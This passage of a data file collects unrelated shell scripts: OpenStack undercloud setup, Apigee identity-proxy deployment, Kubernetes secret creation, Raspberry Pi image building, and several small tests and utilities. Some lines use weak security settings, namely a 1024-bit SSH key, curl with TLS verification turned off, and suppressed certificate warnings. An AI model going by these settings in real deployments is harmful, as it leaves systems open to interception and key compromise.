IRONIC_API_VERSION=1.34\nexport OS_BAREMETAL_API_VERSION=\\$IRONIC_API_VERSION\nexport OS_IDENTITY_API_VERSION='3'\nexport OS_PROJECT_DOMAIN_NAME='Default'\nexport OS_USER_DOMAIN_NAME='Default'\nEOF_CAT\n\nif [ -n \"$internal_tls_ca_file\" ]; then\n cat >> $HOMEDIR/stackrc <<-EOF_CAT\nexport OS_CACERT=\"$internal_tls_ca_file\"\nEOF_CAT\nfi\n\ncat >> $HOMEDIR/stackrc <<-\"EOF_CAT\"\n# Add OS_CLOUDNAME to PS1\nif [ -z \"${CLOUDPROMPT_ENABLED:-}\" ]; then\n export PS1=${PS1:-\"\"}\n export PS1=\\${OS_CLOUDNAME:+\"(\\$OS_CLOUDNAME)\"}\\ $PS1\n export CLOUDPROMPT_ENABLED=1\nfi\nEOF_CAT\n\nif [ -n \"$ssl_certificate\" ]; then\n cat >> $HOMEDIR/stackrc <<-EOF_CAT\nexport PYTHONWARNINGS=\"ignore:Certificate has no, ignore:A true SSLContext object is not available\"\nEOF_CAT\nfi\n\nchown \"$USERNAME:$GROUPNAME\" \"$HOMEDIR/stackrc\"\n\n. $HOMEDIR/stackrc\n\nif [ ! -f $HOMEDIR/.ssh/authorized_keys ]; then\n sudo mkdir -p $HOMEDIR/.ssh\n sudo chmod 700 $HOMEDIR/.ssh/\n sudo touch $HOMEDIR/.ssh/authorized_keys\n sudo chmod 600 $HOMEDIR/.ssh/authorized_keys\nfi\n\nif [ ! -f $HOMEDIR/.ssh/id_rsa ]; then\n ssh-keygen -b 1024 -N '' -f $HOMEDIR/.ssh/id_rsa\nfi\n\nif ! grep \"$(cat $HOMEDIR/.ssh/id_rsa.pub)\" $HOMEDIR/.ssh/authorized_keys; then\n cat $HOMEDIR/.ssh/id_rsa.pub >> $HOMEDIR/.ssh/authorized_keys\nfi\nchown -R \"$USERNAME:$GROUPNAME\" \"$HOMEDIR/.ssh\"\n\nif [ \"$(hiera nova_api_enabled)\" = \"true\" ]; then\n # Disable nova quotas\n openstack quota set --cores -1 --instances -1 --ram -1 $(openstack project show admin | awk '$2==\"id\" {print $4}')\n\n # Configure flavors.\n RESOURCES='--property resources:CUSTOM_BAREMETAL=1 --property resources:DISK_GB=0 --property resources:MEMORY_MB=0 --property resources:VCPU=0 --property capabilities:boot_option=local'\n SIZINGS='--ram 4096 --vcpus 1 --disk 40'\n\n if ! openstack flavor show baremetal >/dev/null 2>&1; then\n openstack flavor create $SIZINGS $RESOURCES baremetal\n fi\n if ! openstack flavor show control >/dev/null 2>&1; then\n openstack flavor create $SIZINGS $RESOURCES --property capabilities:profile=control control\n fi\n if ! openstack flavor show compute >/dev/null 2>&1; then\n openstack flavor create $SIZINGS $RESOURCES --property capabilities:profile=compute compute\n fi\n if ! openstack flavor show ceph-storage >/dev/null 2>&1; then\n openstack flavor create $SIZINGS $RESOURCES --property capabilities:profile=ceph-storage ceph-storage\n fi\n if ! openstack flavor show block-storage >/dev/null 2>&1; then\n openstack flavor create $SIZINGS $RESOURCES --property capabilities:profile=block-storage block-storage\n fi\n if ! openstack flavor show swift-storage >/dev/null 2>&1; then\n openstack flavor create $SIZINGS $RESOURCES --property capabilities:profile=swift-storage swift-storage\n fi\nfi\n\n# Set up a default keypair.\nif [ ! -e $HOMEDIR/.ssh/id_rsa ]; then\n sudo -E -u $USERNAME ssh-keygen -t rsa -N '' -f $HOMEDIR/.ssh/id_rsa\nfi\n\nif openstack keypair show default; then\n echo Keypair already exists.\nelse\n echo Creating new keypair.\n openstack keypair create --public-key $HOMEDIR/.ssh/id_rsa.pub 'default'\nfi\n\n# MISTRAL WORKFLOW CONFIGURATION\nif [ \"$(hiera mistral_api_enabled)\" = \"true\" ]; then\n echo Configuring Mistral workbooks.\n for workbook in $(openstack workbook list | grep tripleo | cut -f 2 -d ' '); do\n openstack workbook delete $workbook\n done\n if openstack cron trigger show publish-ui-logs-hourly >/dev/null 2>&1; then\n openstack cron trigger delete publish-ui-logs-hourly\n fi\n\n openstack workflow delete $(openstack workflow list -c Name -f value --filter tags=tripleo-common-managed) || true;\n\n for workbook in $(ls /usr/share/openstack-tripleo-common/workbooks/*); do\n openstack workbook create $workbook\n done\n openstack cron trigger create publish-ui-logs-hourly tripleo.plan_management.v1.publish_ui_logs_to_swift --pattern '0 * * * *'\n echo Mistral workbooks configured successfully.\n\n # Store the SNMP password in a mistral environment\n if ! openstack workflow env show tripleo.undercloud-config >/dev/null 2>&1; then\n TMP_MISTRAL_ENV=$(mktemp)\n echo \"{\\\"name\\\": \\\"tripleo.undercloud-config\\\", \\\"variables\\\": {\\\"undercloud_ceilometer_snmpd_password\\\": \\\"$\\\"}}\" > $TMP_MISTRAL_ENV\n echo Configure Mistral environment with undercloud-config\n openstack workflow env create $TMP_MISTRAL_ENV\n fi\n\n if [ \"$(hiera enable_validations)\" = \"true\" ]; then\n echo Execute copy_ssh_key validations\n openstack workflow execution create tripleo.validations.v1.copy_ssh_key\n\n echo Upload validations to Swift\n openstack workflow execution create tripleo.validations.v1.upload_validations\n fi\nfi"} {"text": "1-10\n#!/bin/sh\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -e\n\nSCRIPTPATH=\"$( cd \"$(dirname \"$0\")\" || exit >/dev/null 2>&1 ; pwd -P )\"\n\n#################################\n### function: set_idp_env_var ###\n#################################\nset_idp_env_var() {\n\n # discovery document of an OIDC compliant IdP\n idp_discovery_document_uri=\"$1\"\n # retrieve configuration data from a discovery document\n response=$(curl --silent -k1 -fsSL -X GET -H \"Accept:application/json\" \"$idp_discovery_document_uri\")\n if [ \"$( printf '%s' \"$response\" | grep -c error )\" -ne 0 ]; then\n echo \"$response\"\n\n exit 1\n fi\n\n # extract data used to feed the kvm\n issuer=$( printf '%s' \"$response\" | jq .issuer )\n authorization_endpoint=$( printf '%s' \"$response\" | jq .authorization_endpoint )\n token_endpoint=$( printf '%s' \"$response\" | jq .token_endpoint )\n jwks_uri=$( printf '%s' \"$response\" | jq .jwks_uri )\n userinfo_endpoint=$( printf '%s' \"$response\" | jq .userinfo_endpoint )\n\n # set env variables for kvm (idpConfig)\n TEST_IDP_ISSUER=$(printf '%s' \"$issuer\" | awk -F\\\" '{print $2}' | awk -F\\\" '{print $1}')\n export TEST_IDP_ISSUER\n\n TEST_IDP_APIGEE_REDIRECT_URI=\"$2\"\n export TEST_IDP_APIGEE_REDIRECT_URI\n\n TEST_IDP_AZ_HOSTNAME=$(printf '%s' \"$authorization_endpoint\" | awk -F\\\"https:// '{print $2}' | awk -F\\\" '{print $1}' | awk -F/ '{print $1}')\n export TEST_IDP_AZ_HOSTNAME\n\n TEST_IDP_TOKEN_HOSTNAME=$(printf '%s' \"$token_endpoint\" | awk -F\\\"https:// '{print $2}' | awk -F\\\" '{print $1}' | awk -F/ '{print $1}')\n export TEST_IDP_TOKEN_HOSTNAME\n\n TEST_IDP_JWKS_HOSTNAME=$(printf '%s' \"$jwks_uri\" | awk -F\\\"https:// '{print $2}' | awk -F\\\" '{print $1}' | awk -F/ '{print $1}')\n export TEST_IDP_JWKS_HOSTNAME\n\n TEST_IDP_USERINFO_HOSTNAME=$(printf '%s' \"$userinfo_endpoint\" | awk -F\\\"https:// '{print $2}' | awk -F\\\" '{print $1}' | awk -F/ '{print $1}')\n export TEST_IDP_USERINFO_HOSTNAME\n\n TEST_IDP_TOKEN_URI=$(printf '%s' \"$token_endpoint\" | awk -F \"$TEST_IDP_TOKEN_HOSTNAME\"'/' '{print $2}' | awk -F\\\" '{print $1}')\n export TEST_IDP_TOKEN_URI\n\n TEST_IDP_AZ_URI=$(printf '%s' \"$authorization_endpoint\" | awk -F \"$TEST_IDP_AZ_HOSTNAME\"'/' '{print $2}' | awk -F\\\" '{print $1}')\n export TEST_IDP_AZ_URI\n\n TEST_IDP_JWKS_URI=$(printf '%s' \"$jwks_uri\" | awk -F \"$TEST_IDP_JWKS_HOSTNAME\"'/' '{print $2}' | awk -F\\\" '{print $1}')\n export TEST_IDP_JWKS_URI\n\n TEST_IDP_USERINFO_URI=$(printf '%s' \"$userinfo_endpoint\" | awk -F \"$TEST_IDP_USERINFO_HOSTNAME\"'/' '{print $2}' | awk -F\\\" '{print $1}')\n export TEST_IDP_USERINFO_URI\n\n TEST_IDP_APIGEE_CLIENT_ID=\"${TEST_IDP_APIGEE_CLIENT_ID:=dummy-client_id-apigee123}\"\n export TEST_IDP_APIGEE_CLIENT_ID\n\n TEST_IDP_APIGEE_CLIENT_SECRET=\"${TEST_IDP_APIGEE_CLIENT_SECRET:=dummy-client_secret_apigee456}\"\n export TEST_IDP_APIGEE_CLIENT_SECRET\n}\n\n####################################\n### function: generate_edge_json ###\n####################################\ngenerate_edge_json() {\n ENV_NAME=$1\n SCRIPTPATH=\"$( cd \"$(dirname \"$0\")\" || exit >/dev/null 2>&1 ; pwd -P )\"\n\n rm -f \"$SCRIPTPATH\"/edge.json\n cat <> \"$SCRIPTPATH/edge.json\"\n{\n \"version\": \"1.0\",\n \"envConfig\": {\n \"$ENV_NAME\": {\n \"targetServers\": [],\n \"virtualHosts\": [],\n \"caches\": [\n {\n \"name\": \"IDP_JWKS_CACHE\",\n \"description\": \"IdP JWKS Response Cache\",\n \"expirySettings\": {\n \"timeoutInSec\": {\n \"value\": \"1800\"\n },\n \"valuesNull\": false\n }\n }\n ],\n \"kvms\": [\n {\n \"name\": \"idpConfigIdentityProxy\",\n \"encrypted\": \"true\",\n \"entry\": [\n {\n \"name\": \"idp.az.hostname\",\n \"value\": \"$TEST_IDP_AZ_HOSTNAME\"\n },\n {\n \"name\": \"idp.az.uri\",\n \"value\": \"$TEST_IDP_AZ_URI\"\n },\n {\n \"name\": \"idp.apigee.client_id\",\n \"value\": \"$TEST_IDP_APIGEE_CLIENT_ID\"\n },\n {\n \"name\": \"idp.apigee.client_secret\",\n \"value\": \"$TEST_IDP_APIGEE_CLIENT_SECRET\"\n },\n {\n \"name\": \"idp.apigee.redirect_uri\",\n \"value\": \"$TEST_IDP_APIGEE_REDIRECT_URI\"\n },\n {\n \"name\": \"idp.token.hostname\",\n \"value\": \"$TEST_IDP_TOKEN_HOSTNAME\"\n },\n {\n \"name\": \"idp.token.uri\",\n \"value\": \"$TEST_IDP_TOKEN_URI\"\n },\n {\n \"name\": \"idp.jwks.hostname\",\n \"value\": \"$TEST_IDP_JWKS_HOSTNAME\"\n },\n {\n \"name\": \"idp.jwks.uri\",\n \"value\": \"$TEST_IDP_JWKS_URI\"\n },\n {\n \"name\": \"idp.userinfo.hostname\",\n \"value\": \"$TEST_IDP_USERINFO_HOSTNAME\"\n },\n {\n \"name\": \"idp.userinfo.uri\",\n \"value\": \"$TEST_IDP_USERINFO_URI\"\n },\n {\n \"name\": \"idp.issuer\",\n \"value\": \"$TEST_IDP_ISSUER\"\n }\n ]\n }\n ]\n }\n },\n \"orgConfig\": {\n \"apiProducts\": [\n {\n \"name\": \"IdentityFacade\",\n \"apiResources\": [],\n \"approvalType\": \"auto\",\n \"attributes\": [\n {\n \"name\": \"access\",\n \"value\": \"public\"\n }\n ],\n \"description\": \"\",\n \"displayName\": \"Identity Facade\",\n \"environments\": [\n \"$ENV_NAME\"\n ],\n \"proxies\": [\n \"identity-facade-v1\"\n ]\n }\n ],\n \"developers\": [\n {\n \"email\": \"\",\n \"firstName\": \"Jane\",\n \"lastName\": \"Doe\",\n \"userName\": \"janedoe\",\n \"attributes\": []\n }\n ],\n \"developerApps\": {\n \"\": [\n {\n \"name\": \"identityApp\",\n \"attributes\": [\n {\n \"name\": \"displayName\",\n \"value\": \"identity App\"\n }\n ],\n \"apiProducts\": [\n \"IdentityFacade\"\n ],\n \"callbackUrl\": \"https://httpbin.org/get\",\n \"scopes\": []\n }\n ]\n }\n }\n}\nEOF\n}\n\n####################################################\n### function: generate_post_data_app_credentials ###\n####################################################\ngenerate_post_data_app_credentials() {\ncat </apps/identityApp/keys/create\n\n # Set identity product for 'identityApp'\n curl --fail --silent -X POST \\\n -u \"$APIGEE_USER\":\"$APIGEE_PASS\" -H \"Content-Type:application/json\" \\\n --data \"{ \\\"apiProducts\\\": [\\\"IdentityFacade\\\"] }\" \\\n https://api.enterprise.apigee.com/v1/organizations/\"$APIGEE_ORG\"/developers//apps/identityApp/keys/\"$TEST_APP_CONSUMER_KEY\"\n\n # execute integration tests only against mock IDP\n if [ -z ${IDP_DISCOVERY_DOCUMENT+x} ]; then\n (cd \"$SCRIPTPATH\" && npm i --no-fund && TEST_HOST=\"$APIGEE_ORG-$APIGEE_ENV.apigee.net\" npm run test)\n else\n echo \"no tests run for custom OIDC Idp: $DP_DISCOVERY_DOCUMENT\"\n fi\nfi\n\nif [ -z \"$1\" ] || [ \"$1\" = \"--googleapi\" ];then\n echo \"[INFO] Deploying Identitiy facade to Google API (For X/hybrid)\"\n APIGEE_TOKEN=$(gcloud auth print-access-token);\n\n if [ -z ${IDP_DISCOVERY_DOCUMENT+x} ];\n then\n sackmesser deploy --googleapi -o \"$APIGEE_X_ORG\" -e \"$APIGEE_X_ENV\" -t \"$APIGEE_TOKEN\" -d \"$SCRIPTPATH\"/../oidc-mock\n (cd \"$SCRIPTPATH\"/../oidc-mock && npm i --no-fund && TEST_HOST=\"$APIGEE_X_HOSTNAME\" npm test)\n fi\n\n # set env variables for google oidc\n DISCOVERY_DOCUMENT_URI=\"${IDP_DISCOVERY_DOCUMENT:-https://$APIGEE_X_HOSTNAME/v1/openid-connect/.well-known/openid-configuration}\"\n CALLBACK_URL=\"https://$APIGEE_X_HOSTNAME/v1/oauth20/callback\"\n set_idp_env_var \"$DISCOVERY_DOCUMENT_URI\" \"$CALLBACK_URL\"\n\n # generate edge.json file\n generate_edge_json \"$APIGEE_X_ENV\"\n\n set_functional_test_env_var \"$timestamp\"\n\n # # deploy Apigee artifacts: proxy, developer, app, product cache, kvm and proxy\n sackmesser deploy --googleapi -o \"$APIGEE_X_ORG\" -e \"$APIGEE_X_ENV\" -t \"$APIGEE_TOKEN\" -h \"$APIGEE_X_HOSTNAME\" -d \"$SCRIPTPATH\"\n\n # set developer app (apigee_client) credentials\n curl --fail --silent -X POST \\\n -H \"Authorization: Bearer $APIGEE_TOKEN\" -H \"Content-Type:application/json\" \\\n --data \"{ \\\"consumerKey\\\": \\\"$TEST_APP_CONSUMER_KEY\\\", \\\"consumerSecret\\\": \\\"$TEST_APP_CONSUMER_SECRET\\\" }\" \\\n https://apigee.googleapis.com/v1/organizations/\"$APIGEE_X_ORG\"/developers//apps/identityApp/keys/create\n\n # Set identity product for 'identityApp'\n curl --fail --silent -X POST \\\n -H \"Authorization: Bearer $APIGEE_TOKEN\" -H \"Content-Type:application/json\" \\\n --data \"{ \\\"apiProducts\\\": [\\\"IdentityFacade\\\"] }\" \\\n https://apigee.googleapis.com/v1/organizations/\"$APIGEE_X_ORG\"/developers//apps/identityApp/keys/\"$TEST_APP_CONSUMER_KEY\"\n\n # execute integration tests only against mock IDP\n if [ -z ${IDP_DISCOVERY_DOCUMENT+x} ]; then\n (cd \"$SCRIPTPATH\" && npm i --no-fund && TEST_HOST=\"$APIGEE_X_HOSTNAME\" npm run test)\n else\n echo \"no tests run for custom OIDC Idp: $DP_DISCOVERY_DOCUMENT\"\n fi\nfi"} {"text": "#!/bin/bash\nset -eo pipefail\n\nNAMESPACE=${1}\n\nkubectl create secret generic db-creds \\\n --namespace \"${NAMESPACE}\" \\\n --from-literal=db_admin_user=\"${DB_ADMIN_USER}\" \\\n --from-literal=db_admin_pass=\"${DB_ADMIN_PASS}\" \\\n --from-literal=db_user=\"${DB_USER}\" \\\n --from-literal=db_pass=\"${DB_PASS}\" \\\n --from-literal=contact_db_name=\"${CONTACT_DB_NAME}\" \\\n --from-literal=menu_db_name=\"${MENU_DB_NAME}\" \\\n --from-literal=db_pass=\"${MERCH_DB_NAME}\" \\\n --from-literal=users_db_name=\"${USERS_DB_NAME}\""} {"text": "#!/bin/bash -e\n\nIMG_FILE=\"${STAGE_WORK_DIR}/${IMG_FILENAME}${IMG_SUFFIX}.img\"\n\nunmount_image \"${IMG_FILE}\"\n\nrm -f \"${IMG_FILE}\"\n\nrm -rf \"${ROOTFS_DIR}\"\nmkdir -p \"${ROOTFS_DIR}\"\n\nBOOT_SIZE=\"$((256 * 1024 * 1024))\"\nROOT_SIZE=$(du --apparent-size -s \"${EXPORT_ROOTFS_DIR}\" --exclude var/cache/apt/archives --exclude boot --block-size=1 | cut -f 1)\n\n# All partition sizes and starts will be aligned to this size\nALIGN=\"$((4 * 1024 * 1024))\"\n# Add this much space to the calculated file size. This allows for\n# some overhead (since actual space usage is usually rounded up to the\n# filesystem block size) and gives some free space on the resulting\n# image.\nROOT_MARGIN=$((800*1024*1024))\n\nBOOT_PART_START=$((ALIGN))\nBOOT_PART_SIZE=$(((BOOT_SIZE + ALIGN - 1) / ALIGN * ALIGN))\nROOT_PART_START=$((BOOT_PART_START + BOOT_PART_SIZE))\nROOT_PART_SIZE=$(((ROOT_SIZE + ROOT_MARGIN + ALIGN - 1) / ALIGN * ALIGN))\nIMG_SIZE=$((BOOT_PART_START + BOOT_PART_SIZE + ROOT_PART_SIZE))\n\ntruncate -s \"${IMG_SIZE}\" \"${IMG_FILE}\"\n\nparted --script \"${IMG_FILE}\" mklabel msdos\nparted --script \"${IMG_FILE}\" unit B mkpart primary fat32 \"${BOOT_PART_START}\" \"$((BOOT_PART_START + BOOT_PART_SIZE - 1))\"\nparted --script \"${IMG_FILE}\" unit B mkpart primary ext4 \"${ROOT_PART_START}\" \"$((ROOT_PART_START + ROOT_PART_SIZE - 1))\"\n\nPARTED_OUT=$(parted -sm \"${IMG_FILE}\" unit b print)\nBOOT_OFFSET=$(echo \"$PARTED_OUT\" | grep -e '^1:' | cut -d':' -f 2 | tr -d B)\nBOOT_LENGTH=$(echo \"$PARTED_OUT\" | grep -e '^1:' | cut -d':' -f 4 | tr -d B)\n\nROOT_OFFSET=$(echo \"$PARTED_OUT\" | grep -e '^2:' | cut -d':' -f 2 | tr -d B)\nROOT_LENGTH=$(echo \"$PARTED_OUT\" | grep -e '^2:' | cut -d':' -f 4 | tr -d B)\n\nBOOT_DEV=$(losetup --show -f -o \"${BOOT_OFFSET}\" --sizelimit \"${BOOT_LENGTH}\" \"${IMG_FILE}\")\nROOT_DEV=$(losetup --show -f -o \"${ROOT_OFFSET}\" --sizelimit \"${ROOT_LENGTH}\" \"${IMG_FILE}\")\necho \"/boot: offset $BOOT_OFFSET, length $BOOT_LENGTH\"\necho \"/: offset $ROOT_OFFSET, length $ROOT_LENGTH\"\n\nROOT_FEATURES=\"\"\nif [ \"${ROOTFS_TYPE}\" == \"ext4\" ]; then\n\tROOT_FEATURES=\"^huge_file\"\n\tfor FEATURE in metadata_csum 64bit; do\n\t\tif grep -q \"$FEATURE\" /etc/mke2fs.conf; then\n\t\t ROOT_FEATURES=\"^$FEATURE,$ROOT_FEATURES\"\n\t\tfi\n\tdone\nfi\n\nmkdosfs -n boot -F 32 -v \"$BOOT_DEV\" > /dev/null\n\nif [ \"${ROOTFS_TYPE}\" == \"ext4\" ]; then\n\tmkfs.ext4 -L rootfs -O \"$ROOT_FEATURES\" \"$ROOT_DEV\" > /dev/null\nelif [ \"${ROOTFS_TYPE}\" == \"f2fs\" ]; then\n\tmkfs.f2fs -l rootfs \"$ROOT_DEV\" > /dev/null\nfi\n\nmount -v \"$ROOT_DEV\" \"${ROOTFS_DIR}\" -t \"${ROOTFS_TYPE}\"\nmkdir -p \"${ROOTFS_DIR}/boot\"\nmount -v \"$BOOT_DEV\" \"${ROOTFS_DIR}/boot\" -t vfat\n\nrsync -aHAXx --exclude /var/cache/apt/archives --exclude /boot \"${EXPORT_ROOTFS_DIR}/\" \"${ROOTFS_DIR}/\"\nrsync -rtx \"${EXPORT_ROOTFS_DIR}/boot/\" \"${ROOTFS_DIR}/boot/\""} {"text": "tests/queries/0_stateless/00900_orc_load.sh\n#!/usr/bin/env bash\n\nCUR_DIR=$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\n# shellcheck source=../shell_config.sh\n. \"$CUR_DIR\"/../shell_config.sh\n\nDATA_FILE=$CUR_DIR/data_orc/test.orc\n\n${CLICKHOUSE_CLIENT} --query=\"DROP TABLE IF EXISTS orc_load\"\n${CLICKHOUSE_CLIENT} --query=\"CREATE TABLE orc_load (int Int32, smallint Int8, bigint Int64, float Float32, double Float64, date Date, y String) ENGINE = Memory\"\ncat \"$DATA_FILE\" | ${CLICKHOUSE_CLIENT} -q \"insert into orc_load format ORC\"\n${CLICKHOUSE_CLIENT} --query=\"select * from orc_load\"\n\n${CLICKHOUSE_CLIENT} --query=\"drop table orc_load\""} {"text": "0\n#!/bin/sh\n\ncd $TARGET\n\nwhile true; do git pull; sleep 60; done"} {"text": "#!/bin/sh\n#\n# Testcase for JFFS2 verification. We do not want to see any\n# kernel errors occuring when this is executed.\n#\n#\n# To have a standardized output I define the following function to be\n# used when a test was ok or when it failed.\n#\nfailed ()\n{\n echo \"FAILED\"\n}\n\npassed ()\n{\n echo \"PASSED\"\n}\n\n#\n# Print sucess message. Consider to exit with zero as return code.\n#\nexit_success ()\n{\n echo \"SUCCESS\"\n exit 0\n}\n\n#\n# Print failure message. Consider to exit with non zero return code.\n#\nexit_failure ()\n{\n echo \"FAILED\"\n exit 1\n}\n\necho \"***********************************************************************\"\necho \"* jffs2 testing ... *\"\necho \"***********************************************************************\"\n\nulimit -c unlimited\n\nfor i in `seq 5000`; do\n echo \"Testing $i byte (dd if=/dev/urandom of=foo bs=$i count=1) ... \"\n dd if=/dev/urandom of=test.bin bs=$i count=1;\n if [ $? -ne \"0\" ] ; then\n exit_failure\n fi\n passed\n\n echo \"Copy to different file ... \"\n dd if=test.bin of=new.bin bs=$i count=1;\n if [ $? -ne \"0\" ] ; then\n exit_failure\n fi\n passed\n\n echo \"Comparing files ... \"\n cmp test.bin new.bin\n dd if=test.bin of=new.bin bs=$i count=1;\n if [ $? -ne \"0\" ] ; then\n exit_failure\n fi\n passed\ndone\n\nfor i in `seq 5000`; do\n echo \"Testing $i byte (dd if=/dev/urandom of=foo bs=$i count=1) ... \"\n dd if=/dev/urandom of=foo bs=$i count=1;\n if [ $? -ne \"0\" ] ; then\n exit_failure\n fi\n passed\ndone\n\nfor i in `seq 5000`; do \n echo \"Testing $i byte (dd if=/dev/zero of=foo bs=$i count=1) ... \"\n dd if=/dev/zero of=foo bs=$i count=1;\n if [ $? -ne \"0\" ] ; then\n exit_failure\n fi\n passed\ndone\n\necho \"***********************************************************************\"\necho \"* Congratulations, no errors found! *\"\necho \"* Have fun with your cool JFFS2 using system! *\"\necho \"***********************************************************************\"\n\nexit_success"} {"text": "#!/bin/bash\nsource ~/bin/helpers.sh\n\n# CLEAN THE STDOUT\n_clear\n\n# GET CURRENT DIR PATH\n_working_dir SCRIPT_WORKING_DIR_PATH\n_script_dir SCRIPT_DIR_PATH\n\n# CHECK IF WE HAVE ARGS\nif [ -z ${1+x} ]; \nthen \n _intro \"NO APPS NAME\" \"$SCRIPT_WORKING_DIR_PATH\"\n _error \"You did not set any app name in argument. Try again with: app ...\"\n _exit\nfi\n\n# GET PROVIDED ARGS INTO ARRAY\n__ARGS=()\nfor var in \"$@\" \ndo\n __ARGS+=(\"$var\")\ndone\n\n# GIVE INTRODUCTION\n_intro \"${__ARGS[*]}\" \"$SCRIPT_WORKING_DIR_PATH\"\n\n# LAUNCH THE SCRIPT AS MANY TIME AS NECESSARY\nfor index in ${!__ARGS[*]} \ndo\n #_log1 \"$index: ${__ARGS[$index]}\"\n cd $SCRIPT_WORKING_DIR_PATH\n _install \"${__ARGS[$index]}\"\ndone\n\n# EXIT\n_exit"} {"text": "benchmarks/popfunctions_zsh.sh\nzsh_unset_pop() {\n local cut=\"${2:-1}\"\n eval \"\n typeset -i len=\\${#$1}\n for (( i=0; i < cut; i++, len-- )) do\n $1[\\$len]=()\n done\n \"\n}\n\ntest_eval_zsh_pop() {\n eval \"set -- ${@:1:$# - 1}\"\n echo \"$@\"\n}\n\ntest_zsh_unset_pop() {\n typeset -a array=(\"$@\")\n zsh_unset_pop array\n echo \"${array[@]}\"\n}\n\ntest_zsh_unset_pop_x10000() {\n typeset -a array=(\"$@\")\n typeset -i len=${#array}\n time for x in {1...10000}; do\n len+=-1\n array[len-1]=()\n done\n echo \"${array[@]}\"\n}"} {"text": "1-10\n#!/usr/bin/env zsh\n\nHUGO_THEME=academic hugo --source exampleSite --themesDir ../../ --i18n-warnings --bind=0.0.0.0 -p 1315 --baseURL=http://0.0.0.0:1315 server"} {"text": "#!/usr/bin/env bash\n\nset -o nounset\nset -o pipefail\nset -o noclobber\n#set -o errexit\n\n# To enable info and die functions logging to syslog, set to true.\ndeclare -r enable_syslogging=\"false\"\n\n# Report error with $leader prepended and die.\n# Override leader with an optional replacement.\n# Optionally send to logger.\nfunction die {\n local msg=\"$1\"\n local leader=\"${2:-Fatal:}\"\n (>&2 printf \"$leader $msg\\n\") # Subshell avoids interactions with other redirections\n if [ \"$enable_syslogging\" == \"true\" ]; then\n logger -p user.error -t \"$(basename $0)\" \"$leader $msg\"\n fi\n kill -SIGPIPE \"$$\" # Die with exit code 141\n}\n\n# Report msg with $leader prepended.\n# Override leader with an optional replacement.\n# Optionally send to logger.\nfunction info {\n local msg=\"$1\"\n local leader=\"${2:-Info:}\"\n (printf \"$leader $msg\\n\") # Subshell avoids interactions with other redirections\n if [ \"$enable_syslogging\" == \"true\" ]; then\n logger -p user.notice -t \"$(basename $0)\" \"$leader $msg\"\n fi\n}\n\n# Search for a file glob.\nfunction check_glob {\n\tlocal -r fglob=\"$1\"\n #info \"$fglob\" \"\\nTesting\"\n result=\"$(find . -name \"$fglob\")\"\n if [ -n \"$result\" ]; then\n echo -n \"$result\\n\"\n fi\n}\n\n# MAIN\ndeclare found=\"\"\ndeclare foundone=\"\"\ndeclare -ar fglobs=(\"*.gz\" \".*.un~\" \".*.swp\" \".*.swo\" \"*.pyc\" \"venv\")\n\nfor fg in \"${fglobs[@]}\"; do\n\tfoundone=$(check_glob \"$fg\")\n\tif [ -n \"$foundone\" ]; then\n\t\tfound=\"${found}${foundone}\"\n\tfi\ndone\n\nif [ -n \"${found}\" ]; then\n\tdie \"Found files that should not be included in collections:\\n$found\"\nfi"} {"text": "#!/bin/bash\n #Shell script: temp.sh\n #Autor: \n cpu=$(cat /sys/class/thermal/thermal_zone0/temp)\n echo \"Temp.CPU => $((cpu/1000))\""} {"text": "0\nrustc -Cdebuginfo=2 - 2>&1 << EOF\n\n#![feature(unsized_tuple_coercion)]\nfn main() {\n let x : &(i32, i32, [i32]) = &(0, 1, [2, 3]);\n}\n\nEOF"} {"text": "#This program will print all the three digit triads\nclear\nii=123\nwhile [ $ii -le 329 ]\ndo\n\tt1=$ii\n\tt2=`expr $t1 \\* 2`\n\tt3=`expr $t1 \\* 3`\n\t#now that we have got t1 t2 t3 we need to extract their digits to check their uniqness\n\ti=1\n\twhile [ $t1 -ne 0 ]\n\tdo\n\t\teval a$i=`expr $t1 % 10`\n\t\tt1=`expr $t1 / 10`\n\t\ti=`expr $i + 1`\n\tdone\n\twhile [ $t2 -ne 0 ]\n\tdo\n\t\teval a$i=`expr $t2 % 10`\n\t\tt2=`expr $t2 / 10`\n\t\ti=`expr $i + 1`\n\tdone\n\twhile [ $t3 -ne 0 ]\n\tdo\n\t\teval a$i=`expr $t3 % 10`\n\t\tt3=`expr $t3 / 10`\n\t\ti=`expr $i + 1`\n\tdone\n\tflag=1\n\t#1 means the triad is found\n\t#now we need to check the uniquness\n\ti=1\n\twhile [ $i -le 9 ]\n\tdo\n\t\teval ai=\\$a$i\n\t\tif [ $ai -eq 0 ]\n\t\t\tthen\n\t\t\tflag=0\n\t\t\tbreak\n\t\tfi\n\t\tj=1\n\t\twhile [ $j -le 9 ]\n\t\tdo\n\t\t\teval aj=\\$a$j\n\t\t\tif [ $i -ne $j ]\n\t\t\t\tthen\n\t\t\t\tif [ $aj -eq $ai ]\n\t\t\t\t\tthen\n\t\t\t\t\tflag=0\n\t\t\t\t\tbreak\n\t\t\t\tfi\n\t\t\tfi\n\t\t\tj=`expr $j + 1`\n\t\tdone\n\t\tif [ $flag -eq 0 ]\n\t\t\tthen \n\t\t\tbreak\n\t\tfi\n\t\ti=`expr $i + 1`\n\tdone\n\tif [ $flag -eq 1 ]\n\t\tthen\n\t\tn1=$ii\n\t\tn2=`expr $n1 \\* 2`\n\t\tn3=`expr $n1 \\* 3`\n\t\techo \"Triad :($n1,$n2,$n3)\"\n\tfi\n\tii=`expr $ii + 1`\ndone\n#Finally the program ends for God's sakes T_T"} {"text": "PTYin/ESRT\n#test the model\ncd ..\npython main.py --setting_file=\"./experiment/example/AEM_exp.yaml\" --decode True"} {"text": "#!/bin/sh\n\nsed -i \\\n\t-e \"s/BUCKET_NAME_HERE/${S3BUCKET}/;\" \\\n\t-e \"s/SERVER_NAME_HERE/${HOSTNAME}/;\" \\\n\t-e \"s/DNS_RESOLVER_HERE/${DNS}/;\" \\\n\t/etc/nginx/nginx.conf\n\nexec \"$@\""} {"text": "for SEQ_LENGTH in 256 512 1024 2048\ndo\n\tfor MP_SIZE in 1 2 4 8 16\n\tdo\n\t\tSEQ_LENGTH=$SEQ_LENGTH 